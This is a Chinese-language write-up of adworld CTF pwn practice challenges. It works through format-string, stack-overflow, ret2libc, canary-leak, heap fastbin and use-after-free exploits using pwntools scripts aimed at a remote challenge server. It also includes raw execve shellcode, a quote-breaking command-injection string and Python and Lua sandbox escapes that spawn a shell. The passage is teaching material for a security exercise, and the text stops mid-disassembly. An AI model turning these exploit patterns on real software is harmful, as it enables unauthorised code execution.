adworld pwn 题解

新手练习

CGfsb

简单的格式化字符串

from pwn import *
p = process("cgfsb")
p = remote("111.198.29.45",32128)
p.sendline("123")
p.sendline(p32(0x0804A068)+"%4c%10$n")
p.interactive()

get_shell

nc 上去直接 cat flag

hello_pwn

溢出即可

from pwn import *
# p = process("./hello_pwn")
p = remote("111.198.29.45",32145)
p.sendline('a'*4+p64(0x6E756161))
p.interactive()

when_did_you_born

from pwn import *

# context.log_level="debug"
# p = process('./when_did_you_born')
p = remote("111.198.29.45",30140)

payload = "a"*8+p32(1926)
p.recv()
p.sendline("1111")
p.recv()
p.sendline(payload)

p.interactive()

level0

from pwn import *

# context.log_level="debug"
# p = process('./level0')
p = remote("111.198.29.45", 30142)

payload = "a"*0x88+p64(0x400596)

p.sendline(payload)

p.interactive()

level2

from pwn import *

# context.log_level="debug"
# p = process('./level2')
elf = ELF('./level2')
p = remote("111.198.29.45", 30143)
binbash = 0x804A024

payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
p.recv()
p.sendline(payload)

p.interactive()

string

​ 这道题目话太多了:(,实际上就是一个格式化字符串漏洞的利用,修改v3处的值为85即可。

from pwn import *

# context.log_level="debug"
# a = process('./string')
a = remote("111.198.29.45",30155)
a.recvuntil("secret[0] is ")
v3_addr=a.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address=eval(v3_addr)
a.recvuntil("What should your character's name be:\n")
a.sendline("a")
a.recvuntil("So, where you will go?east or up?:\n")
a.send("east\n")
a.recvuntil("go into there(1), or leave(0)?:\n")
a.send("1\n")
a.recvuntil("'Give me an address'\n")
a.send(str(v3_address)+"\n")
a.recvuntil("you wish is:\n")

payload="%085d%7$n"
a.sendline(payload)

a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")

a.interactive()

guess_num

​ 先看下程序逻辑,漏洞点在于输入name的时候存在溢出,能够将栈中的随机数种子覆盖掉,然后就能够猜出数字了。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4);
  return 0LL;
}

​ 这道题和后面萌新入坑一道题非常像,就是溢出覆盖随机数种子为0,然后本地根据0生成随机数种子即可。

  • 生成随机数的c程序:
#include<stdlib.h>
#include<time.h>

int main(){
    int seed[2];
    * seed = time(0);
    srand(0);
    //srand(time(0));
    int i = 0;
    for(i=0;i<50;i++){
        printf("%d\n",rand()%6+1);
    }
    return 0;
}
  • exp脚本
from pwn import *

context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')

# p = process("./guess_num.dms")
p = remote("111.198.29.45",31403)
p.recvuntil("Your name:")
p.sendline("a"*0x20+p64(0))
# p.sendline("aaa")
# gdb.attach(p)
for i in range(10):
    p.recvuntil('guess number:')
    p.sendline(str(a[i]))

p.interactive()

int_overflow

​ 这道题目主要利用的是整数溢出:

char *__cdecl check_passwd(char *password)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(password);                        // 这里返回值是使用al寄存器存储的,在大于255的时候会发生溢出,变成一个很小的数
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, password);
  }
  return result;
}

​ 简单普及下整数溢出的知识,这道题目就是利用上溢的知识绕过长度的检查,造成溢出:

  • 上溢 运算后超过所能表示的上限,变成了一个很小的数
  • 下溢 运算后超过所能表示的下限,变成了一个很大的数
from pwn import *

# context.log_level="debug"


# p = process("./int_overflow.dms")
flag = 0x804868B
p = remote("111.198.29.45",31431) 
p.sendline("1")
p.recvuntil("username:")
p.sendline("aaaa")
p.recvuntil("passwd:")
payload = "a"*0x18 + p32(flag)
p.sendline(payload.ljust(260,"a"))

p.interactive()

​ 这里需要注意的是要控制溢出之后的长度在3和8之间。

cgpwn2

​ 把 /bin/sh 字符串写到 bss 段,使用溢出调用system函数的时候将 bss 段 name 的地址当作参数传入即可。

from pwn import *

# context.log_level="debug"
# p = process("./cgpwn2.dms")
elf = ELF("./cgpwn2.dms")
p = remote("111.198.29.45",31484) 
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
p.recvuntil("hello,you can leave some message here:")
p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))

p.interactive()

level3

​ 溢出但是没有给出libc,可以先利用write函数泄漏其在内存中的地址,根据偏移推算出libc在内存中的基地址(查询网站 https://libc.blukat.me),然后就能得到system函数和bin_sh字符串在内存中的实际地址,再次溢出即可getshell

from pwn import *

context.log_level="debug"


# p = process("./level3.dms")
elf = ELF("./level3.dms")
p = remote("111.198.29.45",31489) 
p.recvuntil("Input:")
p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
print "---------------"
p.recv()
write_addr = u32(p.recvuntil('Input:\n',drop=True))
print "write_addr:",hex(write_addr)
libc_addr = write_addr - 0x0d43c0
print "libc_addr:",hex(libc_addr)
sys_addr = libc_addr + 0x03a940
binsh_addr = libc_addr + 0x15902b

p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
# gdb.attach(p)

p.interactive()

萌新入坑

pwn2

主要分两步

  1. getlibc
  2. getshell

基础功能:

​ 简单来说就是可以进行增删改查,存在漏洞的地方是改的时候能够导致堆溢出,通过溢出修改 pre_size 和 pre_inuse 可以造成 overlapping。程序开启了 pie,没办法获取进程在内存中的基地址,但是我们可以通过溢出控制 fd,使用 fastbin attack,将 malloc_hook 处改写为 one_gadget 来 getshell.

from pwn import *
context.log_level = "debug"

# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")


def new(size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(str(size))
    p.sendline(content)

def edit(index,size,content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(content)

def printt(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(index))


def delete(index):
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(index))

使用后向合并获取libc基地址:

new(0x100,"0"*0xff) # 0
new(0x100,"1"*0xff) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
delete(1)
new(0x100,"4"*0xff) # 4
printt(2)
libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()

使用前向合并获取libc基地址:

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 5
printt(1)
print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()

这里是构造类似如下chunk结构:

  • 由于free B的时候,根据修改的pre_size会向前去找x的前后chunk能否合并,并且查看A是否处于空闲状态是根据B堆块的pre_inuse位判断的,所以要在x和A之间加一个fastbin使其safe unlink,或者在修改b的pre_inuse之前就free x

  • 最后free b触发向前合并之前,先free掉x,通过safe unlink操作把堆块x从freelist中卸下。为了safe unlink不会出错,比较方便的方法是让x处于空闲状态。故我们应该在释放堆块B之前释放x,这样堆块x到堆块B的整个空间就都被释放掉了。不然的 unlink x的时候其fd和bk不能通过安全检查。

最开始想用 fastbindouble free 的,写到最后突然想到不能控制 __free_hook 附近的 size值,malloc的时候会抛出异常,囧。。程序开启了pie,指向堆块的指针都在程序的bss段, unlink也不行:

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)

new(0x10,"6"*0xf) # 3
new(0x10,"7"*0xf) # 5

delete(1)
delete(5)
delete(3)

new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
new(0x10,"8"*0xf) # 3
new(0x10,"9"*0xf) # 3

new(0x10,p64(0x45216)+"a"*0x7) # 3

delete(0)
gdb.attach(p)

p.interactive()

后来调试发现可以利用__malloc_hook之前 -0x23的位置刚好全为0,且后边有 0x7f 可以组合作为size字段(fastbin attack只检查 size 字段较高2字节所以低2字节的f没有影响),因此构造大小为60的 fastbin chunk

pwndbg> x /10gx 0x7f8dcf9b7ae0
0x7f8dcf9b7ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7af0 <_IO_wide_data_0+304>:    0x00007f8dcf9b6260    0x0000000000000000
0x7f8dcf9b7b00 <__memalign_hook>:    0x00007f8dcf678e20    0x00007f8dcf678a00
0x7f8dcf9b7b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7b20 <main_arena>:    0x0000000000000000    0x0000000000000000

pwndbg> x /10gx 0x7f8dcf9b7aed
0x7f8dcf9b7aed <_IO_wide_data_0+301>:    0x8dcf9b6260000000    0x000000000000007f
0x7f8dcf9b7afd:    0x8dcf678e20000000    0x8dcf678a0000007f
0x7f8dcf9b7b0d <__realloc_hook+5>:    0x000000000000007f    0x0000000000000000
0x7f8dcf9b7b1d:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000

exp:

from pwn import *
context.log_level = "debug"

# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")


def new(size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(str(size))
    p.sendline(content)

def edit(index,size,content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(content)

def printt(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(index))


def delete(index):
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(index))

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)

new(0x200,"5"*0x1ff) # 0
new(0x60,"5"*0x5f) # 0
new(0x60,"5"*0x5f) # 0

delete(6)
edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
new(0x60,'b'*0x5f)
payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
payload = payload.ljust(0x5f,"\x00")
print hex(libc.symbols["__malloc_hook"]+libc_base)
new(0x60,payload)
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(0x66))
# gdb.attach(p)

p.interactive()

dice_game

主函数逻辑都在main函数中,在输入name的时候存在栈溢出,输入name后,会进入执行游戏的函数,大体猜数字,根据输入的数字和随机数生成的数字比较,猜对50次就给出flag:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )                               // 名字小于49 最后追加终止符,存在栈溢出
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = play_game();
    fflush(stdout);
    if ( v5 != 1 )                              // 赢得50次游戏 打印出flag
      break;
    if ( v8 == 50 )
    {
      get_flag((__int64)buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

​ 考虑利用的方式,因为time(0)是能预测的,所以写个简单程序把随机数预测出来就行,最开始因为程序里 srand 初始化使用的是 time(0),想着不用溢出也行。后来试了下本地可以,远程不行,可能是服务器和本地 time(0) 的返回值不同,还是老老实实溢出修改初始化随机数种子把。

#include<stdlib.h>
#include<time.h>

int main(){
    int seed[2];
    * seed = time(0);
    srand(0);
    //srand(time(0));
    int i = 0;
    for(i=0;i<50;i++){
        printf("%d\n",rand()%6+1);
    }
    return 0;
}

exp:

from pwn import *

context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')

# p = process("./dice_game")
p = remote("111.198.29.45",32149)
p.recv()
p.sendline("a"*0x40+p64(0))
# p.sendline("aaa")

for i in range(50):
    p.recvuntil('Give me the point(1~6): ')
    p.sendline(str(a[i]))

p.interactive()

pwn-100

​ ida打开,程序就是一个栈溢出,首先检查下防护,没有 canary 和 pie,可以用rop,64位程序找下传参的gadget。

nevv@nevv:~/Desktop$ checksec pwn100
[*] '/home/nevv/Desktop/pwn100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
0x0000000000400763 : pop rdi ; ret

​ 发现有 pop rdi,那么可以通过puts函数打印出某个函数的got表地址处的值,然后就可以根据偏移得到 libc 的基地址。

exp:

from pwn import *

# context.log_level="debug"
# p = process('./pwn100')
elf = ELF("./pwn100")
p = remote("111.198.29.45", 30042)

payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
p.sendline(payload)

p.recvuntil('~\n')

puts_addr =  u64(p.recv()[-7:-1].ljust(8,"\x00"))
libc_base =  puts_addr - 0x06f690
print "libc_base", hex(libc_base)
system = libc_base + 0x045390
print "system", hex(system)
bin_sh = libc_base + 0x18cd57
print "bin_sh", hex(bin_sh)

payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
p.sendline(payload)

p.interactive()

​ 这里最开始 get shell 一直失败,后来调试过程中发现第二次输入的时候 buf 最低为有一个 0x0a 回车符,所以前边得填充 0x47 个字符。

# 用下边第二段payload进行调试
payload = '2'*8
p.sendline(payload)
gdb.attach(p)
p.interactive()

​ 调试中间信息:可以看到第二次输入的起始位置有一个回车符 :(

05:0028│ rbp    0x7ffd08abad10 —▸ 0x7ffd08abad60 —▸ 0x7ffd08abad80 —▸ 0x400700 ◂— push   r15
06:0030│        0x7ffd08abad18 —▸ 0x4006ac ◂— mov    edi, 0x400784
07:0038│        0x7ffd08abad20 ◂— '\n22222222\n'
08:0040│ rsi-2  0x7ffd08abad28 ◂— 0xa32 /* '2\n' */
09:0048│        0x7ffd08abad30 ◂— 0x0

Mary_Morton

​ 根据 ida 反汇编结果来看,主要想让你做的就是利用一个格式化字符串漏洞和栈溢出漏洞来执行到目标函数,程序没有开启pie,开启了canary。不过我们可以根据格式化字符串漏洞将cannary的值打印出来,溢出的时候再写回去即可。

from pwn import *

context.log_level="debug"
# p = process("./mary_morton")
elf = ELF("./mary_morton")
p = remote("111.198.29.45",31556) 
p.recv()
p.sendline("2")
p.sendline("%23$p")
p.recvuntil("0x")
cannary = p.recv(16)
cannary = p64(int("0x"+cannary,16))
# gdb.attach(p)
p.sendline("1")
payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
p.sendline(payload)
p.interactive()

stack2

打开题目,功能是输入一些数,用一个栈上的数组存储,然后计算平均数,你可以修改输入的数,在修改的地方存在越界写,ida下反汇编文件可以看到:

int hackhere()
{
  return system("/bin/bash");
}

​ 因此我们只需要将函数的返回地址覆盖写为system函数的地址即可,exp如下:

from pwn import *

context.log_level = "debug"

system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
    p.sendline("3")
    p.recvuntil("to change:")
    p.sendline(str(idx))
    p.recvuntil("new number:")
    p.sendline(str(value))
    p.recvuntil("5. exit")

p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))


change(0x84,0x9b)
change(0x84+1,0x85)
change(0x84+2,0x04)
change(0x84+3,0x08)

# gdb.attach(p)
p.sendline("5")

p.interactive()

​ 这里我本地可以getshell,但是远程连接服务器的时候会报错 ,找不到/bin/sh文件,应该是本地和远程的环境不一样:

 [DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/bash: not found\n'

​ 所以只能调用system函数,然后重新给它传sh作为参数了:

from pwn import *

context.log_level = "debug"

system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
    p.sendline("3")
    p.recvuntil("to change:")
    p.sendline(str(idx))
    p.recvuntil("new number:")
    p.sendline(str(value))
    p.recvuntil("5. exit")

p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))

# system_addr
change(0x84,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)

# sh_addr
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)


# gdb.attach(p)
p.sendline("5")

p.interactive()

warmup

​ 简单的溢出控制返回地址为 0x40060d 处的 get flag 函数即可。

from pwn import *

context.log_level = "debug"

p= remote("111.198.29.45", 32656)
# p = process("warmup.dms")
p.recv()
p.sendline("q"*0x48+p64(0x40060d))
p.interactive()

forgot

​ 先checksec一下,没开pie和canary,基本上可以确定是栈溢出。

from pwn import *

context.log_level = "debug"

p= remote("111.198.29.45", 30003)
# p = process("forgot.dms")
p.recv()
p.sendline("a"*67+p32(0x80486CC))
print p.recv()
# gdb.attach(p)
p.interactive()

echo

​ 本地可以,远程不行,一脸懵逼。

from pwn import *

context.log_level = "debug"

# p= remote("111.198.29.45", 30050)
p = process("echo.dms")
p.sendline("a"*(0x3a+4)+p32(0x804854D))
# gdb.attach(p)
print p.recv()
# p.interactive()

Escape_From_Jail-50

​ 考察python语言 getattr 函数获取类的成员属性值

getattr(os,"system")("/bin/sh")

babyfengshui

简单分析程序,发现使用的是如下结构体:

struct user{
    char *descript;
    char name[0x7c];
}

问题出在修改结构体的地方:

unsigned int __cdecl update(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)user_num && ptr[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    sub_80486BB(*(char **)ptr[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;

上述对修改长度的安全假设是建立在 description 和 user 结构题在内存中是紧邻的情况,当分配再释放一些堆块后,两者之间可能存在别的堆块,这个时候就能够造成溢出,修改中间结构体的内容。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

io = process(['./babyfengshui.dms'])
elf = ELF('./babyfengshui.dms')
io = remote("111.198.29.45",30364)

def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)
    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
    # gdb.attach(io)

    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    print hex(free_addr)
    system_addr = free_addr - (0x070750 - 0x03a940)
    log.info("system address: 0x%x" % system_addr)

    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)

    io.interactive()

time_formatter

​ 打印函数的功能是通过调用system函数实现的,其command参数是dword_602120和ptr,其中这两个参数是我们通过 set_time 函数和 time_format 函数控制的,其中 set_time 函数在输入之后是转换为了 int 类型存储的,ptr 虽然是以字符串类型存储的,但是在最开始的时候进行了输入的检查,不能输入非法字符。

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v5; // [rsp+808h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

​ 在 exit 函数的位置我们能看到一个明显的漏洞,就是程序是先 free 掉内存,然后再询问你是不是要退出的,如果不退出,程序继续正常执行,存在 uaf 漏洞,我们就可以先 time_format,选择 exit,然后不退出再次选择 set_time_zone,此时申请的内存是之前 free 掉的 set_time 申请的内存,而这个函数没有检查输入合法性,因此可以 getshell。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

p = process('time_formatter.dms')
p = remote("111.198.29.45", 30543)
def time_format(s):
    p.recv()
    p.sendline("1")
    p.recvuntil("Format:")
    p.sendline(s)

def set_time_zone(s):
    p.recv()
    p.sendline("3")
    p.recvuntil("zone:")
    p.sendline(s)

def print_time():
    p.recv()
    p.sendline("4")

def exit():
    p.recv()
    p.sendline("5")
    p.recv()
    p.sendline("n")

time_format("%Y")
exit()
set_time_zone("' 123 || /bin/sh || \\")
print_time()
p.interactive()

​ 在传递 /bin/sh 参数的时候注意下引号的闭合。

Pwn1 babystack

​ 简单栈溢出,泄漏出canary后,leak 出 puts 函数的地址,然后计算出 libc 的基地址,使用 onegadget 即可。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

p = process('babystack')
e = ELF("babystack")
p = remote("111.198.29.45", 30105)

pop_rdi = 0x400a93

def pstore(s):
    p.recv()
    p.sendline("1")
    p.sendline(s)

def printt():
    p.sendline("2")


pstore("a"*0x88)
printt()
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(p.recv(7).rjust(8,"\x00"))

print "canary is: ", hex(canary)
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(pop_rdi) + p64(e.got["puts"]) + p64(e.plt['puts']) + p64(0x0400908))
p.recv()
p.sendline("3")
p.recvuntil(">> ")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
print "puts is: ",hex(puts_addr)
print "libc is: ",hex(libc_addr)
one = libc_addr + 0x45216
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(one))
p.recv()
p.sendline("3")
# gdb.attach(p)
p.interactive()

AUL

应该是 lua 语言的程序,nc 连接上去直接:

os.execute("cat flag")

100levels

nevv@ubuntu:~/Desktop$ checksec 100levels
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/Desktop/100levels'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

​ 程序在 question 的时候存在溢出,联系到之前程序的安全机制,应该是 bypass pie

_BOOL8 __fastcall question(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

​ 根据bypass pie的思路,应该是泄漏出某个libc基址,既然是想leak出地址,看到hint函数中,会判断bss段某个变量是不是0,如果不是就打印system函数地址,但是由于没什么好的办法写bss段,继续仔细查看程序发现从 hint 函数再进入 go 函数的时候由于栈没有变化,也就是说 go 函数和 hint 函数两者的栈空间是一样的。go 函数的部分反汇编代码如下:

.text:0000000000000B94 ; __unwind {
.text:0000000000000B94                 push    rbp
.text:0000000000000B95                 mov     rbp, rsp
.text:0000000000000B98                 sub     rsp, 120h
.text:0000000000000B9F                 lea     rdi, aHowManyLevels ; "How many levels?"
.text:0000000000000BA6                 call    _puts
.text:0000000000000BAB                 call    get_input
.text:0000000000000BB0                 mov     [rbp+var_120], rax
.text:0000000000000BB7                 mov     rax, [rbp+var_120]
.text:0000000000000BBE                 test    rax, rax
.text:0000000000000BC1                 jg      short loc_BD1
.text:0000000000000BC3                 lea     rdi, aCoward    ; "Coward"
.text:0000000000000BCA                 call    _puts
.text:0000000000000BCF                 jmp     short loc_BDF
.text:0000000000000BD1 ; ---------------------------------------------------------------------------
.text:0000000000000BD1
.text:0000000000000BD1 loc_BD1:                                ; CODE XREF: go+2D↑j
.text:0000000000000BD1                 mov     rax, [rbp+var_120]
.text:0000000000000BD8                 mov     [rbp+var_110], rax
.text:0000000000000BDF
.text:0000000000000BDF loc_BDF:                                ; CODE XREF: go+3B↑j
.text:0000000000000BDF                 lea     rdi, aAnyMore   ; "Any more?"
.text:0000000000000BE6                 call    _puts
.text:0000000000000BEB                 call    get_input
.text:0000000000000BF0                 mov     [rbp+var_120], rax
.text:0000000000000BF7                 mov     rdx, [rbp+var_110]
.text:0000000000000BFE                 mov     rax, [rbp+var_120]
.text:0000000000000C05                 add     rax, rdx
.text:0000000000000C08                 mov     [rbp+var_110], rax
.text:0000000000000C0F                 mov     rax, [rbp+var_110]
.text:0000000000000C16                 test    rax, rax
.text:0000000000000C19                 jg      short loc_C2C
.text:0000000000000C1B                 lea     rdi, aCowardCowardCo ; "Coward Coward Coward Coward Coward"
.text:0000000000000C22   n              call    _puts
.text:0000000000000C27                 jmp     locret_D04
.text:0000000000000C2C ; ---------------------------------------------------------------------------
.text:0000000000000C2C
.text:0000000000000C2C loc_C2C:                                ; CODE XREF: go+85↑j
.text:0000000000000C2C                 mov     rax, [rbp+var_110]
